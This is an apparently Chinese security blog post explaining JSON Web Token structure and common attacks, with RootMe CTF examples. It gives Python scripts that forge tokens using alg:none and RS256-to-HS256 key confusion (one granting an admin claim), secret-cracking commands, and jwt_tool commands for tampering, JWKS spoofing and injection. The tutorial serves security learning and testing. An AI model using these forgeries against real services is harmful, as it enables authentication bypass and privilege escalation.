HacKerQWQ的博客空间

JWT的利用

Word count: 1.3kReading time: 6 min
2020/08/08 Share

网站工具:https://jwt.io/

JWT(JSON Web Token)

目前最流行的跨域身份验证解决方案

分为三部分:头部、载荷、签名

  • 头部包含签名的算法
    原始数据:

    1
    {  "alg": "HS256",  "typ": "JWT"}
  • *alg表示用了HS256算法,typ表示这是JWT**
    base64加密后

    1
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
  • 载荷用于服务器识别数据来自哪里
    比如:
    原始数据

    1
    {  "sub": "1234567890",  "name": "John Doe",  "admin": true}

    base64加密后

    1
    eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTU4MjQ1OTg2MX0
  • 签名用于验证数据是不是官方签发的
    原始数据

    1
    HMACSHA256(  base64UrlEncode(header) + "." +  base64UrlEncode(payload),  secret)

    base64加密后

    1
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTU4MjQ1OTg2MX0.RnRWb0dWgfr3RofdU4tAJkgBcEG-fHRJdUv2MSbeIJU

利用面

1.敏感信息泄露

由于jwt仅仅使用了base64编码,解码后就可以查看到载荷内容,所以,如果服务器将jwt当作客户端session使用存在敏感信息泄露风险。

2.修改jwt头部编码算法为none

如果被篡改的数据包的头部的alg字段为none,有一些陈旧的JWT库就会跳过签名验证过程,导致越权等情况(比如篡改身份为admin)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import jwt
import base64

# 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}

# 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}

def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')

# 构造算法字段为none, payload部分可以随意修改
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'

注意:需要python2环境并且安装PyJWT库

1
pip install PyJWT

例题:RootMe的JSON Web Token (JWT) - Introduction

3.将RS256算法改为HS256(非对称密码算法=>对称密码算法)

HS256算法使用密钥为所有消息进行签名和验证。

而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。

由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。

这样的话,后端代码使用RSA公钥+HS256算法进行签名验证。

1
2
3
4
5
6
7
8
import jwt
# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ":"JWT","alg":"RS256"}
# eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504007874,"exp":1504007994,"data":{"hello":"world"}}
public = open('public.pem.1', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')

例题:RootMe的JSON Web Token (JWT) - Public key

安装JWT

1
pip install PyJWT==1.6.0
1
2
3
4
5
6
import jwt
import base64

public = "-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----"

print(jwt.encode({"name": "yunying666","priv": "admin"}, key=public, algorithm='HS256').decode())

4.爆破密钥

例题:RootMe的JSON Web Token (JWT) - Weak secret

使用c-jwt-cracker

1
2
./jwtcracker jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJyb2xlIjoiZ3Vlc3QifQ.MES6qzQ4rf5Z-1xT_keaY1MSisw_FgnSZ3n0OZOaZWA
Secret is "cnyn"

或者

1
2
3
4
5
>>> import jwt
>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'
>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])
{'some': 'payload'}

集成工具

jwt_tool

项目地址:https://github.com/ticarpi/jwt_tool

jwt_tool.py是一个用于验证、伪造、扫描和篡改 JWT(JSON Web Tokens)的工具包。

模式选择

  • -X eXploits
    • a = alg:none
    • s = spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack)
    • k = key confusion (specify public key with -pk)
    • i = inject inline JWKS
  • -S Signing
    • hs256/hs384/hs512 = HMAC-SHA signing (specify a secret with -k/-p)
    • rs256/rs384/hs512 = RSA signing (specify an RSA private key with -pr)
    • ec256/ec384/ec512 = Elliptic Curve signing (specify an EC private key with -pr)
    • ps256/ps384/ps512 = PSS-RSA signing (specify an RSA private key with -pr)
  • -C Check/Crack
  • -M Scanning Modes
    • pb = playbook audit
    • er = fuzz existing claims to force errors
    • at - All Tests!
  • -V Verify signatures
  • -I Inject/Fuzz
  • -T Tamper (interactive) mode
  • -Q Query token ID

攻击

篡改jwt

1
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -T

修改算法为None

1
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X a

尝试破解/猜测密钥(HMAC 算法):

1
$ python3 jwt_tool.py JWT_HERE -C -d dictionary.txt

或者

1
$ python3 jwt_tool.py JWT_HERE -C -p password_here

尝试使用已知公钥对非对称密码(RS-、EC-、PS-)进行“密钥混淆”攻击:

1
$ python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem

尝试使用“无”算法创建未经验证的令牌:

1
$ python3 jwt_tool.py JWT_HERE -X a

欺骗远程 JWKS:使用首次运行时自动生成的 RSA 密钥并在提供的 URL (-ju) 处提供 JWKS - 或将 URL 添加到您的 jwtconf.ini 配置文件中 - 并使用私钥对令牌进行签名:

1
$ python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/my_jwks.json

将内联 JWKS 注入 JWT 标头:使用首次运行时自动生成的 RSA 密钥,将公钥导出为 JSON Web Key Store 对象,注入 JJWT 标头,并使用私钥对令牌进行签名:

1
$ python3 jwt_tool.py JWT_HERE -X i

签署令牌

使用已知密钥/密码签署令牌:

1
2
$ python3 jwt_tool.py JWT_HERE -S ec512 -pk jwttool_custom_private_EC.pem
$ python3 jwt_tool.py JWT_HERE -S hs256 -p jwt-secret-key

更多用法:https://github.com/ticarpi/jwt_tool/wiki/Using-jwt_tool

CATALOG
  1. 1. JWT(JSON Web Token)
  2. 2. 利用面
    1. 2.1. 1.敏感信息泄露
    2. 2.2. 2.修改jwt头部编码算法为none
    3. 2.3. 3.将RS256算法改为HS256(非对称密码算法=>对称密码算法)
    4. 2.4. 4.爆破密钥
  3. 3. 集成工具
    1. 3.1. jwt_tool
      1. 3.1.1. 攻击
      2. 3.1.2. 签署令牌